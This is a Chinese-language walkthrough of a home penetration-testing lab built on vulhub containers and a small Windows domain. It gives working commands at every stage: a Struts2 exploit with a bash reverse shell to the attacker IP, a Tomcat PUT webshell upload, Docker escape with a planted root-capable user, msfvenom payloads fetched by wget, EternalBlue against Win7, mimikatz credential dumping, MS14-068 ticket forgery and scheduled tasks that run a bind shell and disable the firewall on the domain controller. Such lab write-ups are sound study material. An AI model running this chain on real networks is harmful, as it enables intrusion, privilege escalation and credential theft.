IP地址:
Kali:192.168.1.13
Ubuntu:192.168.1.9 192.168.183.8
Win7:192.168.183.9
DC:192.168.183.130
先进入ubuntu启动web,开启3个环境
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
目录
一、攻击Web服务器
首先用kali nmap扫描发现目标主机192.168.1.9
对目标主机进行端口扫描,发现2001、2002、2003三个特征端口
nmap -sS -T4 192.168.1.9
1、访问2001端口
首先在浏览器中访问2001端口,发现是struts2的框架,是一个上传界面,我们先随便上传一个文件,上传之后发现后缀是.action的。
使用struts2漏洞工具探测一下,这里发现存在S2-045、S2-046两个漏洞
http://192.168.1.9:2001/doUpload.action
查看一下/etc/hosts(主机名查询),发现是172开头的,172开头的可能就是在docker中
用命令 cat /proc/1/cgroup进行判断,确定是在docker中
攻击机开启对本地端口8888的监听,利用漏洞执行反弹shell的命令,拿到shell
bash -i >& /dev/tcp/192.168.1.11/8888 0>&1
我们需要进行docker逃逸,可以通过privileged特权模式启动容器, 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,我们用fidsk -l查看一下挂载盘,发现没有挂载盘。
不管它了,看看下一个端口。。。
2、访问2002端口
查看下一个2002端口,发现是一个apache tomcat8.5.19
我们知道这个版本CVE-2017-12615 Tomcat存在远程代码执行漏洞,可以使用PUT方法上传任意文件,但限制了jsp后缀的上传
打开burpsuite抓包
这里我们使用哥斯拉工具,点击管理-添加-生成所需的webshell,生成时需要记住自己的生成配置,连接的时候还要用。
生成木马文件
修改成为PUT,PUT /mm.jsp/ HTTP/1.1,将木马复制进去
在浏览器进行访问,发现上传成功
在godzilla的目标中点击添加刚刚上传的木马进行连接
成功连接,选中shell右键选择进入即可进入shell管理界面。
这里我们就可以执行命令,ls可查看
也发现了docker,可以进行docker逃逸
3、docker逃逸
可以通过privileged特权模式启动容器, 当控制使用特权模式启动的容器时,我们可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限。
我们再次用fidsk -l查看一下挂载盘
sda1盘疑似挂载于宿主机上,利用mount指令将sda1盘挂载在我们创建的目录上
mkdir jq
mount /dev/sda1 jq
挂载成功,我们此时可以查看、修改宿主机的某些文件了
因为可以对文件进行修改,所有我们可以在相同版本的ununtu中新建用户,将passwd和shadow里面的用户信息复制到/jq/etc/passwd和/jq/etc/shadow文件中,这样就知道了ubuntu的密码,可以远程登陆。
wjq:x:1001:1001:wjq,,,:/home/ubuntu:/bin/bash
wjq:$6$MvPDPIm0$XH6cMGkTVGbD.c68MWR82paPe1OXF9D/fdLHE2PjqJx7UaK2zP2jaYMYQlHSmi8IXpSAsa/q4xgA9VQ1f9eQK/:19164:0:99999:7:::
修改/etc/sudoers文件,给新用户权限A,允许用户使用sudo命令进行提权
这个时候就可以在kali中用ssh服务登陆ubuntu
因为不允许root用户远程登陆,所有我们用普通用户登录 然后提权sudo i -->root,这个时候我们就有了ubuntu的root权限
我们在kali中生成一个msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.13 LPORT=9998 -f elf > shell.elf
在kali本地起一个http服务,python3 -m http.server 6789
下载shell.elf并赋权执行
wget http://192.168.1.13:6789/shell.elf
这个时候文件是没有执行权限的,我们要给这个文件修改权限
chmod 777 shell.elf
msf进行监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.13
run
执行木马,成功收到会话
二、永恒之蓝攻击Win7
shell –t进入,ifconfig查看发现还有一个192.168.183.8的网卡
上传fscan工具进行主机存活探测
同样这里也要给上传的工具修改权限
使用这个工具对192.168.183.0网段进行主机存活探测
发现了两台主机,192.168.183.9和192.168.183.130,并且他们都开启了445端口,可能存在ms17_010永恒之蓝漏洞,接下来我们就针对永恒之蓝漏洞进行渗透
1、永恒之蓝漏洞渗透
由于在kali无法直接对该网段进行访问,此时我们在ubuntu中添加183.0网段的路由
开启设置socks代理
在kali中自带代理的模块,此时对代理的配置文件进行修改,与msf中开启的代理模块的信息匹配一致
让msf走代理
永恒之蓝漏洞渗透
search ms17_010
use 0
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.9
show options
run
我们发现192.168.183.9这台主机渗透成功,获得win7权限,192.168.183.130没有成功,说明它没有永恒之蓝漏洞
Shell进入
chcp 65001 解决编码问题
这里我们信息收集,systeminfo 看系统信息,64位系统
net view 看一下有哪些用户,发现了两台主机的名称
ipconfig /all 发现DNS server-->192.168.183.130
cd /Users/douser/Desktop/
2、mimikatz抓取密码
使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取
use incognito
impersonate_token "NT AUTHORITY\SYSTEM"
运行mimikatz.exe
首先需要提权:privilege::debug,然后抓取明文密码:sekurlsa::logonPasswords
三、域横向移动,获得域控权限
这里得到域成员账号密码douser/Dotest123,既然是域成员,我们就想办法通过这台域成员主机来获得域控的权限
我们再次用systeminfo查看一下系统信息,看一看他打了哪些补丁
这里我们没有发现KB3011780的漏洞补丁,该漏洞允许攻击者将域内任意用户权限提升至域管理级别。也就是说如果攻击者获取了域内任何一台计算机的S权限,同时知道任意域用户的用户名、SD、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。
用net use命令把DC的C盘映射,发现权限不够
1、生成高权限票据
MS14-068.exe -u 域成set员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
我们先把其他的低权限票据清除
kerberos::purge,当看到"Ticket(s) purge for current session is OK'时,表示清除成功
然后用mimikatz这个工具把刚刚生成的高权限票据注入内存,出现OK就是注入成功
kerberos::ptc "[email protected]"
这个时候就有权限了,我们把DC的C盘映射出来,建立映射之后,我们是可以往DC里面传文件的
2、在kali里面生成木马,获取DC权限
使用msfvenom生成一个正向木马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.13 LPORT=3331 -f exe > 3331.exe
我们把这个木马文件用upload上传到WIN7上面,在copy到DC里面
dir \\WIN-ENS2VR5TR3N\c$
这里我们经过多次测试,发现在执行文件的时候,执行的都是WIN7的,经过一系列测试,我们找到了一种方法,就是把这个程序加入计划任务,让计划任务来执行它,就可以了
msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 3331
这里我创建了一个关闭防火墙的文件,因为我在执行这个木马的时候,在DC上面开启了一个正向连接的端口,但是流量过不来,是防火墙给拦截了,所以这里想办法关闭防火墙,所以我在本机又写了一个关闭防火墙的批处理文件,上传上去,同样的加入计划任务
将这个1.bat文件复制到DC中
copy 1.bat \\WIN-ENS2VR5TR3N\c$
3、通过计划任务执行木马和关闭防火墙的批处理文件
schtasks /create /S WIN-ENS2VR5TR3N /TN "test1" /TR C:\1.bat /SC MINUTE /MO 1 /ru system /RP
schtasks /create /S WIN-ENS2VR5TR3N /TN "test2" /TR C:\3331.exe /SC MINUTE /MO 1 /ru system /f /RP
查看一下计划任务,发现两个任务都在执行中
schtasks /s WIN-ENS2VR5TR3N
在监听界面等待30秒后,发现接听到会话,成功拿到权限
这里我们信息收集,查看系统信息
查看主机,一共两台主机,发现没有其他的域成员机
4、用mimikatz工具抓取密码
上传猕猴桃工具到DC中
copy mimikatz.exe \\WIN-ENS2VR5TR3N\c$\Users\Administrator\Desktop\mimikatz.exe
mimikatz抓取密码
sekurlsa::logonpasswords 这通常显示最近登录的用户和计算机凭据,此命令需要提升的权限(通过以前运行privilege::debug
或通过将 Mimikatz 作为 NT-AUTHORITY\SYSTEM
帐户执行)。
5、开启远程桌面,远程登陆域控
meterpreter支持开启远程桌面,这时我们查看发现3389端口远程桌面已经开启
run post/windows/manage/enable_rdp
这里我们尝试一下连接,因为kali和DC不在同一个网段,所以我们需要上全局代理,登陆远程桌面。
Proxychains rdesktop 192.168.183.130
到这里,就拿下了内网域控的权限,也就可以管理域内的所有用户
嘿嘿,请多指教!